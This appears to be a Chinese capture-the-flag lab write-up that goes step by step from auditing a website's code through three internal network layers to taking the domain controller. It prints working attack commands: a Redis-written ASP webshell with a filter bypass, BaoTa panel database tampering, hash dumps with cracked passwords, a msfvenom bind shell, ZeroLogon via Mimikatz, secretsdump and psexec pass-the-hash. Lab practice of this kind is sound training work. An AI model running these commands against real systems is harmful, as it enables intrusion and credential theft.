从外网代码审计到三层内网各种漏洞拿到域控
字数 2021 2025-08-05 08:19:38
从外网代码审计到三层内网渗透获取域控的完整过程
前言
本次渗透测试的目标是通过外网代码审计逐步渗透进入三层内网,最终获取域控制器权限。靶场要求获取四台机器上的root.txt文件,获取三个为及格,四个为满分。
初始信息收集
目标网站:http://www.cocat.cc
提示信息:http://www.cocat.cc/web.zip(网站备份文件)
第一阶段:外网渗透
1. 代码审计获取Webshell
- 下载网站备份文件web.zip进行代码审计
- 发现webshell路径:http://www.cocat.cc/kss_tool/_webup.php
- 审计发现执行命令受限,函数被写死
2. 突破命令执行限制
- 通过审计找到MySQL配置文件
- 尝试MySQL UDF提权失败(MySQL版本>5.1)
- 发现系统使用宝塔面板搭建
3. 获取宝塔面板权限
- 找到宝塔后台路径:C:/BtSoft/panel/data/admin_path.pl
- 下载宝塔数据库文件default.db
- 分析users表获取账号密码(MD5加密)
- 通过添加新用户或替换MD5值修改数据库
- 添加用户:saulGoodmang/123456
- 上传修改后的数据库文件
- 登录宝塔面板后关闭禁用函数并重启服务
4. 获取第一个flag
- 成功执行命令绕过限制
- 获取第一个root.txt内容:
flag{moonsec-c20ad4d76fe97759aa27a0c99bff6710-1}
第二阶段:内网渗透(第一层)
1. 环境侦察
- 发现系统运行火绒AV
- 制作免杀payload上线Cobalt Strike
- 使用nbtscan和fscan扫描内网资产
- 发现内网主机:192.168.59.4
2. 建立内网通道
- 使用frp建立socks代理进入内网
- 使用脚本绕过火绒添加用户:
- 用户名:hacker
- 密码:P@ssw0rd
- 开启目标3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
3. 获取系统凭证
- 将shell反弹到Metasploit
- 抓取Hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: hacker:1003:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b::: www.saulgoodman.cn:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1::: - 解密得到administrator密码:QWEasd444
第三阶段:内网横向移动(第二层)
1. 扫描内网资产
-
使用Metasploit的arp_scanner模块扫描:
post/windows/gather/arp_scanner- 发现主机:192.168.59.1(网关)、192.168.59.4
-
使用proxychains+nmap扫描192.168.59.4:
proxychains nmap -sT -sV -Pn -n -p22,80,139,135,445,3306,1433,6379 192.168.59.4- 开放端口:6379(Redis)
2. Redis未授权访问利用
- 尝试Redis未授权访问,发现需要密码
- 使用Metasploit爆破Redis密码:
- 成功获取密码:123456789qq
- 连接Redis:
proxychains redis-cli -h 192.168.59.4 -p 6379 -a 123456789qq
3. 写入Webshell
- 尝试写入IIS默认目录:
config set dir C:/inetpub/wwwroot/ config set dbfilename 1.aspx set x '<%execute(request("x"))%>' save - 发现写入失败,设置读写权限:
config set slave-read-only on - 绕过拦截的特殊写法(单引号中间带空格):
set x ' <%execute(request("x"))%> ' - 成功获取webshell:http://192.168.59.4/a.asp
第四阶段:内网渗透(第二层)
1. 提权操作
- 发现目标机器不出网且权限低
- 找到可读写目录:C:\ProgramData\VMware\logs\
- 使用坏土豆(Rotten Potato)提权成功
2. 获取第二个flag
flag{moonsec-b6d767d2f8ed5d21a44b0e5886680cb9-2}
3. 添加管理员用户
- 添加ASP.NET管理员用户
第五阶段:内网渗透(第三层)
1. 内网存活探测
-
使用ping扫描发现存活主机:
for /l %i in (1,1,255) do @ ping 10.10.10.%i -w 1 -n 1 | find /i "ttl="- 发现主机:10.10.10.201、10.10.10.202(本机)、10.10.10.209
-
关闭防火墙:
netsh advfirewall set allprofiles state off
2. 获取系统控制权
- 生成Metasploit正向shell:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9099 -f exe >/root/9099.exe - 目标运行payload后上线MSF
- 解密Hash获取密码:QWEasd1122
- 开启远程桌面:
run post/windows/manage/enable_rdp
3. 域环境侦察
-
使用nbtscan发现域环境:
- 10.10.10.201(DC)
- 10.10.10.209(Exchange服务器)
-
扫描发现Exchange OWA服务
-
查找PST文件获取邮箱信息:
for /r c:\ %i in (*.pst) do @echo %i- 发现邮箱:moonsec@cncat.cc、test@cncat.cc
第六阶段:域控获取
1. 利用CVE-2020-1472(ZeroLogon)
-
使用20200918之后版本的Mimikatz:
privilege::debug lsadump::zerologon /target:10.10.10.201 /account:12SERVER-DC$ lsadump::zerologon /target:10.10.10.201 /account:12server-dc$ /exploit -
导出所有域用户凭证:
python3 secretsdump.py cncat/12server-dc$@10.10.10.201 -no-pass输出:
cncat.cc\Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
2. 获取域控权限
-
使用MSF psexec模块上线:
use exploit/windows/smb/psexec set RHOSTS 10.10.10.201 set SMBDomain cncat set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 -
通过令牌窃取切换为域管身份
-
与域机器10.10.10.209建立IPC连接
-
获取最后一个flag
总结
本次渗透测试完整流程:
- 通过外网代码审计获取初始立足点
- 突破限制获取宝塔面板权限
- 内网渗透发现Redis服务并利用
- 横向移动至第二层网络
- 发现域环境并利用ZeroLogon漏洞获取域控
关键点:
- 代码审计能力
- 内网穿透技术(frp)
- Redis未授权访问利用
- Windows提权技术(Rotten Potato)
- 域渗透技术(ZeroLogon)
- 免杀技术绕过AV
注意事项:
- Exchange漏洞利用是常见域渗透路径
- ZeroLogon利用可能导致域控密码无法恢复,生产环境需谨慎